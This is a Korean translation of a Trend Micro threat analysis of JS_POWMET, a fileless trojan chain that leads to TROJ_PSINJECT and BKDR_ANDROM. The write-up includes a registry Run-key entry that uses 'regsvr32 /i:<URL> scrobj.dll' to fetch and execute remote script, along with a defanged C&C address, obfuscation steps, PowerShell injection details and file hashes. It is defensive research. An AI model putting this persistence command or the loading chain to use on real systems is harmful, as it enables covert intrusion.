완전한 파일리스 멀웨어, JS_POWMET

게시일: 2017-08-04 l 작성자: Trend Micro

사이버 범죄자들이 흔적을 남기지 않는 공격에 집중하기 시작한 이후로 최근의 SOREBRECT 랜섬웨어와 같은 파일리스 멀웨어가 보다 일반적인 공격 방법이 될 것 입니다. 하지만 이러한 파일리스 멀웨어들 중 대부분은 사용자 시스템에 들어간 때만 파일리스 일 뿐, 사실상 페이로드를 실행하게 되면 정체가 밝혀지기 마련입니다. 완전한 파일리스 멀웨어 공격은 아주 드물게 나타나긴 하지만, 자동시작 (autostart) 레지스트리를 통해 들어오는 ‘JS_POWMET’ (트렌드마이크로 탐지명 JS_POWMET.DE) 라고 불리는 새로운 트로이 목마에 대해 알아두는 것이 중요합니다. 이러한 멀웨어는 완벽한 파일리스 감염 경로를 이용하기 때문에 샌드박스를 활용한 분석이 더 어려울 뿐만 아니라, 안티 멀웨어 엔지니어들이 이를 검사하는 것도 더 어렵습니다.

트렌드마이크로의 ‘스마트 프로텍션 네트워크 (SPN)’ 의 보고서에 따르면 APAC 지역이 약 90%의 감염률을 보이며 JS_POWMET 에 가장 많은 영향을 받는 것으로 나타났습니다.

기술적 세부 사항


그림 1. JS_POWMET 감염 다이어그램

아직 정확한 진입 경로는 확실하지 않지만 트로이 목마는 악성 사이트를 방문하는 사용자 혹은 다른 멀웨어에 의해 드랍되는 파일로 다운로드 될 가능성이 있습니다. 이 멀웨어에 대한 확실한 점은 멀웨어가 시스템에 다운로드 될 때쯤이면 레지스트리가 이미 변경이 되어 있다는 것입니다.

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run

COM+ = “regsvr32 /s /n /u /i:{Malicious URL, downloads JS_POWMET} scrobj.dll”

JS_POWMET 은 자동시작 (autostart) 레지스트리 항목을 통해 다운로드 됩니다 (위 그림 참조).

다음은 “regsvr32” 에서 사용하는 매개 변수에 대한 설명입니다.

1. /s = silent option for regsvr32
2. /n = tells regsvr32 not to use DllRegisterServer
3. /u = Unregister server/object
4. /I = used for passing an optional parameter (ie. URL) to DLLinstall
5. scrobj.dll = Microsoft’s Script Component Runtime

이 방법에서는 regsvr32 를 매개 변수로 사용하여 URL 에 있는 regsvr32 파일 (악성 자바스크립트가 있는 XML) 을 가져올 수 있습니다. 이 루틴을 통해 regsvr32 는 시스템 및 머신에 XML 파일을 저장 하지 않고 임의의 스크립트를 실행할 수 있게 됩니다. 특히 시스템이 시작될 때마다 C&C 서버에서 자동으로 악성 파일을 다운로드 할 수 있습니다.

JS_POWMET 이 실행되면 TROJ_PSINJECT (트렌드마이크로 탐지명 TROJ_PSINJECT.A) 라고 하는 다른 파일을 다운로드 합니다. 이 파일은 파워쉘의 프로세스에서 실행되는 파워쉘 스크립트입니다. TROJ_PSINJECT 는 다음의 웹사이트에 연결됩니다.

hxxps://bogerando[.]ru/favicon

이렇게 하면 TROJ_PSINJECT 가 favicon (이하 파비콘) 이라는 정상 파일을 다운로드 할 수 있습니다. 파비콘 파일은 복호화된 후 ReflectivePELoader를 사용해 프로세스에 주입 되는데, 이는 EXE/DLL 파일을 주입하기 위해 사용 됩니다.

멀웨어 코드를 난독화하기 위해 다음의 기술들을 사용합니다. 초기단계에 멀웨어는 Base64 스트링을 보유하고 있는데, 이는 디코딩이 된 후 RC4 키 (멀웨어 코드 안에 하드코딩 됨) 를 이용하여 복호화 됩니다. 복호화된 스트링은 GZIP 으로 압축된 스트링으로써 멀웨어에 의해 복호화됩니다. 이러한 단계를 거치고 나면 ReflectivePELoader 기능이 다운로드 된 파일의 복호화를 위해 쓰이게 됩니다.

파비콘 또한 앞서 언급된 RC4 키를 이용해 복호화 되는데, 이로 인해 BKDR_ANDROM (트렌드마이크로 탐지명 BKDR_ANDROM.ETIN) 으로 알려진 악성 DLL 파일이 생성됩니다. 다시 말하지만, 이 과정은 파일이 없이 진행되는 부분 입니다. 파일은 컴퓨터에 저장되지 않고 powershell.exe 프로세스에 주입됩니다. 이러한 모든 루틴은 파워쉘 명령을 사용하여 멀웨어에 의해 실행됩니다.


그림 2. TROJ_PSINJECT 코드의 난독화 과정

BKDR_ANDROM 은 powershell.exe 가 시스템에서 실행중인 것으로 확인되면 종료됩니다. 또한 다음 데이터를 수집합니다.

  • Root Volume Serial Number
  • Operating System Version
  • Local IP Address
  • Administrator privileges

멀웨어는 레지스트리를 시스템에 추가하여 시스템이 시작할 때 항상 멀웨어가 실행되도록 만듭니다. 자동 시작 (autostart) 레지스트리 항목은 Base64 로 인코딩 된 파워쉘 명령을 디코딩 할 수 있습니다. 이 명령은 BKDR_ANDROM 의 코드가 되는 암호화된 바이너리 데이터 (멀웨어에 의해 추가된 레지스트리에도 있음) 를 복호화 하는데 사용됩니다. 복호화 과정이 끝나면 악성 코드가 실행됩니다. 이 경우 마지막 페이로드는 BKDR_ANDROM 의 일반적인 루틴으로 구성되지만 향후 악성 프로그램 작성자가 다른 멀웨어를 페이로드로 사용할 수도 있습니다.

결론

JS_POWMET 와 나머지 다운로드 된 파일들은 상대적으로 적은 영향력을 가지고 있지만 이 멀웨어를 통해 사이버 범죄자들이 탐지와 분석을 회피하기 위해 사용하는 기법의 방향을 보여 주기도 합니다. 또한 파일리스 멀웨어와 같은 비교적 드문 감염 방법 조차도 계속해서 진화하고 있음을 보여줍니다. 기업과 개인사용자는 명백히 눈에 띄는 멀웨어 뿐만 아니라 은밀하게 시스템을 파고 들어오는 멀웨어가 있다는 사실도 항상 염두에 두어야 합니다.

파일리스 멀웨어의 영향을 완화하기 위한 보다 효과적인 방법 중 하나는 컨테이너 기반의 시스템을 통해 네트워크의 가장 중요한 부분으로부터 엔드포인트를 분리시킴으로써 중요 인프라에 대한 접근을 제한 하는 것입니다. 이 특정 멀웨어 같은 경우에는 IT 전문가들이 파워쉘 자체를 비활성화하여 JS_POWMET 및 다양한 페이로드의 영향을 완화할 수 있습니다.

트렌드마이크로 솔루션

파일리스 멀웨어는 보안솔루션의 탐지 기능에 잘 걸리지 않으므로 기업은 다중의 계층을 활용한 솔루션을 활용해 탐지 기능을 더 향상시켜야 합니다. 트렌드마이크로의 엔드포인트 보안 솔루션인 Trend Micro™ Security오피스스캔은 행위 기반 모니터링을 통해 이러한 종류의 멀웨어를 탐지하고 멀웨어가 실행 되기 전에 차단하여 고객을 보호합니다.

해시

아래는 이 기사에 사용된 해시태그 입니다.

  • 7004b6c1829a745002feb7fbb0aad1a4d32c640a6c257dc8d0c39ce7b63b58cc (TROJ_PSINJECT.A)
  • e27f417b96a33d8449f6cf00b8306160e2f1b845ca2c9666081166620651a3ae (JS_POWMET.DE)
  • bff21cbf95da5f3149c67f2c0f2576a6de44fa9d0cb093259c9a5db919599940 (BKDR_ANDROM.ETIN)

[원문: A Look at JS_POWMET, a Completely Fileless Malware]